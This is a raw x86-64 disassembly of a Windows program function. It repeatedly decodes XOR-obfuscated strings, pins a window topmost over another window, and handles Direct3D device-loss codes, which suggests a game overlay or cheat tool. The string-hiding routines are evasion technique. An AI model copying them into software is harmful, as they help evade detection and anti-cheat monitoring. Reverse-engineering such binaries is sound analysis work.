pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140085e60
cmp r8d, 0x2b
jge 0x140085fa1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140085f70
mov rdx, r10
lea rcx, [rbp + 0xad0]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140086199
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140086199
lea rdx, [rbp + 0x28f0]
mov byte [rbp + 0xa1], 0
lea rcx, [rbp + 0xa1]
call fcn.140089330
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140086191
mov r8d, ebx
cmp esi, 2
jl 0x140086159
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140086050
cmp r8d, 0x2c
jge 0x140086191
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140086160
mov rcx, r10
call fcn.1400161e0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
call fcn.14000d0d0
cmp byte [0x1400b453c], 0
je 0x140086e91
lea rdx, [rbp + 0x17b8]
mov byte [rbp + 0xa2], 0
lea rcx, [rbp + 0xa2]
call fcn.140089360
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140086381
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140086349
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140086240
cmp r8d, 0x13
jge 0x140086381
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140086350
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov dword [rsp + 0x30], 0x63
xor r9d, r9d
mov rbx, rax
xor r8d, r8d
xor eax, eax
mov rcx, rbx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdx, [rax - 1]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
movss xmm2, dword [0x1400a2050]
lea rcx, [rbp + 0x308]
movss xmm1, dword [0x1400a206c]
call fcn.140002fe0
mov rcx, rax
xor edx, edx
call fcn.140014130
movss xmm2, dword [0x1400a2040]
lea rcx, [rbp + 0x310]
movss xmm1, dword [0x1400a2074]
call fcn.140002fe0
mov rcx, rax
xor edx, edx
call fcn.140014130
lea rdx, [rbp + 0x17d0]
mov byte [rbp + 0xa3], 0
lea rcx, [rbp + 0xa3]
call fcn.140089360
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0x12], bl
je 0x1400865d1
mov r8d, ebx
cmp esi, 2
jl 0x140086599
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140086490
cmp r8d, 0x13
jge 0x1400865d1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400865a0
xor r8d, r8d
lea rdx, [0x1400b453c]
mov rcx, r10
call fcn.140010180
cmp byte [0x1400ae053], 0
je 0x14008665b
lea rdx, [rbp + 0x5a0]
mov byte [rbp + 0xa4], 0
lea rcx, [rbp + 0xa4]
call fcn.140089390
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140086633
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x14008665b
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140086662
mov byte [0x1400aef77], 0
jmp 0x1400867f9
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400867f9
lea rdx, [rbp + 0xa10]
mov byte [rbp + 0xa5], 0
lea rcx, [rbp + 0xa5]
call fcn.1400893b0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400867f1
mov r8d, ebx
cmp esi, 2
jl 0x1400867ad
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400867c0
mov rcx, r10
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
movss xmm3, dword [0x1400a1db0]
lea rcx, [rbp + 0xae0]
movss xmm2, dword [0x1400a1e6c]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm10
call fcn.140002ff0
mov rdx, qword [str.NONE]
mov rcx, rax
call fcn.1400403e0
cmp byte [0x1400ae053], 0
je 0x1400869eb
lea rdx, [rbp + 0x318]
mov byte [rbp + 0xa6], 0
lea rcx, [rbp + 0xa6]
call fcn.1400893e0
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400869c3
mov r8d, ebx
cmp esi, 2
jl 0x140086988
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1400869c3
mov r9, r10
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140086990
mov rcx, r10
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x1400869eb
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x1400869f2
mov byte [0x1400aef77], 0
jmp 0x140086bb9
movzx eax, byte [0x1400aef77]
test al, al
je 0x140086bb9
lea rdx, [rbp + 0x1638]
mov byte [rbp + 0xa7], 0
lea rcx, [rbp + 0xa7]
call fcn.1400893f0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140086bb1
mov r8d, ebx
cmp esi, 2
jl 0x140086b7a
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140086a71
cmp r8d, 0x11
jge 0x140086bb1
movsxd r9, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140086b80
mov rcx, r10
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
movss xmm3, dword [0x1400a1db0]
lea rcx, [rbp + 0xaf0]
movss xmm2, dword [0x1400a1e6c]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm10
call fcn.140002ff0
mov rdx, qword [str.NONE]
mov rcx, rax
call fcn.1400403e0
cmp byte [0x1400ae053], 0
je 0x140086c74
lea rdx, [rbp + 0x590]
mov byte [rbp + 0xa8], 0
lea rcx, [rbp + 0xa8]
call fcn.140089410
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140086c4c
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140086c74
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140086c7b
mov byte [0x1400aef77], 0
jmp 0x140086e49
movzx eax, byte [0x1400aef77]
test al, al
je 0x140086e49
lea rdx, [rbp + 0x1650]
mov byte [rbp + 0xa9], 0
lea rcx, [rbp + 0xa9]
call fcn.140089430
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140086e41
mov r8d, ebx
cmp esi, 2
jl 0x140086e09
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140086d00
cmp r8d, 0x11
jge 0x140086e41
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140086e10
mov rcx, r10
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
movss xmm3, dword [0x1400a1db0]
lea rcx, [rbp + 0xb00]
movss xmm2, dword [0x1400a1e6c]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm10
call fcn.140002ff0
mov rdx, qword [str.NONE]
mov rcx, rax
call fcn.1400403e0
call fcn.140013270
call fcn.140013270
call fcn.14000bbb0
mov rcx, qword [0x1400aefe0]
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor r8d, r8d
movss dword [rsp + 0x28], xmm10
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rax, qword [rcx]
lea r9d, [rbx + 3]
call qword [rax + 0x158]
mov rcx, qword [0x1400aefe0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140086efb
call fcn.14000c030
call fcn.140007f00
mov rcx, rax
call fcn.14003c720
mov rcx, qword [0x1400aefe0]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r15 + 8], 0x400
je 0x140086f13
call fcn.14001ea10
xor edx, edx
xor ecx, ecx
call fcn.14001ee70
mov rcx, qword [0x1400aefe0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140086f50
mov rcx, qword [0x1400aefe0]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140086f50
call fcn.1400562d0
cmp byte [0x1400ae051], bl
je 0x140086f6b
cmp dword [rbp + 0x3a70], 0x12
je 0x140086f75
mov ebx, 4
jmp 0x140061ac0
mov dword [rbp + 0x3a70], 0x12
call fcn.14003ce10
call fcn.14003da60
xor ecx, ecx
call fcn.140007d90
call fcn.140056280
mov rcx, qword [0x1400af020]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x3118]
mov rcx, qword [rbp + 0x3140]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm15, xmmword [rsp + 0x9e80]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x9e90]
movaps xmm13, xmmword [rsp + 0x9ea0]
movaps xmm12, xmmword [rsp + 0x9eb0]
movaps xmm11, xmmword [rsp + 0x9ec0]
movaps xmm10, xmmword [rsp + 0x9ed0]
movaps xmm9, xmmword [rsp + 0x9ee0]
movaps xmm8, xmmword [rsp + 0x9ef0]
movaps xmm7, xmmword [rsp + 0x9f00]
movaps xmm6, xmmword [rsp + 0x9f10]
mov r15, qword [rsp + 0x9f20]
mov r14, qword [rsp + 0x9f28]
mov r13, qword [rsp + 0x9f60]
mov r12, qword [rsp + 0x9f58]
mov rsi, qword [rsp + 0x9f50]
mov rcx, qword [rbp + 0x9d70]
xor rcx, rsp
call fcn.14008c3a0
add rsp, 0x9f30
pop rdi
pop rbx
pop rbp
ret